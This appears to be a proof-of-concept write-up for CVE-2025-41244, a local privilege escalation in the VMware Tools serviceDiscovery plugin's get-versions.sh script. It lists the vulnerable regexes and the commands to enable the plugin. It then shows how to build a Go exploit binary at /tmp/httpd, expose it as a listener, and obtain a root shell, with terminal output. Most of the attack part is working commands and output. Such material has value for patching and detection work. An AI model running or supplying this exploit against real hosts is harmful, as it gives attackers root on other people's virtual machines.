CVE-2025-41244

A local privilege escalation vulnerability in the get-versions.sh script used by the VMware Tools serviceDiscovery plugin. The script uses overly broad \S (non-whitespace) regular expressions to locate running services, which match any binary in any path rather than restricting matches to legitimate system locations.

Vulnerable regex patterns in get-versions.sh:

• /\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)
• /usr/(bin|sbin)/apache\S*
• /\S+/mysqld($|\s)
• \.?/\S*nginx($|\s)

A local attacker can place a malicious binary at a path matching one of these patterns (e.g. /tmp/httpd) and expose it as a listening network service. When the serviceDiscovery plugin runs its scheduled check every 5 minutes, the privileged process executes the version check script against the attacker-controlled binary, resulting in code execution as a higher-privileged user.

Exploitation requirements:

• serviceDiscovery plugin must be installed
• Attacker-controlled binary must match one of the regex patterns
• Binary must appear as an active network listener
• serviceDiscovery runs on a 5-minute interval, triggering automatically

sudo apt install open-vm-tools-sdmp
sudo vmware-toolbox-cmd config set servicediscovery disabled false
cat /etc/vmware-tools/tools.conf
...
[servicediscovery]
disabled=false
sudo systemctl restart vmtoolsd

After installing and restarting the service locally you may need to configure the Service Discovery adapter in your VMware management tool, such as vRealize Operations, to start collecting. Only then will the exploit trigger automatically.

Verify serviceDiscovery is installed

dpkg -l | grep vm-tools

The vulnerable script is located at:

/usr/lib/x86_64-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh

File(s): cve-2025-41244.go

Build and run the PoC binary at a path matching one of the vulnerable regex patterns, then wait for serviceDiscovery to trigger within 5 minutes:

kdev :: ~/poc/vmtoolsd » go build -o /tmp/httpd CVE-2025-41244.go
kdev :: ~/poc/vmtoolsd » id
uid=1001(void) gid=1001(void) groups=1001(void)
kdev :: ~/poc/vmtoolsd » /tmp/httpd
Waiting on privileged process...

Verify the binary appears as a network service:

kdev :: ~/poc/vmtoolsd » ss -lptn | grep httpd
LISTEN 0      4096            127.0.0.1:32837      0.0.0.0:*    users:(("httpd",pid=25343,fd=3))

Within 5 minutes, serviceDiscovery executes the version check script and triggers the shell:

kdev :: ~/poc/vmtoolsd » /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
# id
uid=0(root) gid=0(root) groups=0(root)

Manual PoC (non-vulnerable system)

On a patched system, the same flow can be tested manually by invoking get-version.sh directly with elevated privileges:

kdev :: ~/poc/vmtoolsd » go build -o /tmp/httpd CVE-2025-41244.go
kdev :: ~/poc/vmtoolsd » /tmp/httpd
Waiting on privileged process...
 
kdev :: ~/poc/vmtoolsd » sudo ./get-version.sh
VERSIONSTART vcops_version  VERSIONEND
VERSIONSTART srm_mgt_server_version  VERSIONEND
VERSIONSTART vcenter_appliance_version  VERSIONEND
VERSIONSTART db2_version  VERSIONEND
VERSIONSTART tcserver_version  VERSIONEND
 
kdev :: ~/poc/vmtoolsd » /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
# id
uid=0(root) gid=0(root) groups=0(root)

1. [1]CVE-2025-41244 — NIST
2. [2]NVISO — CVE-2025-41244 blog post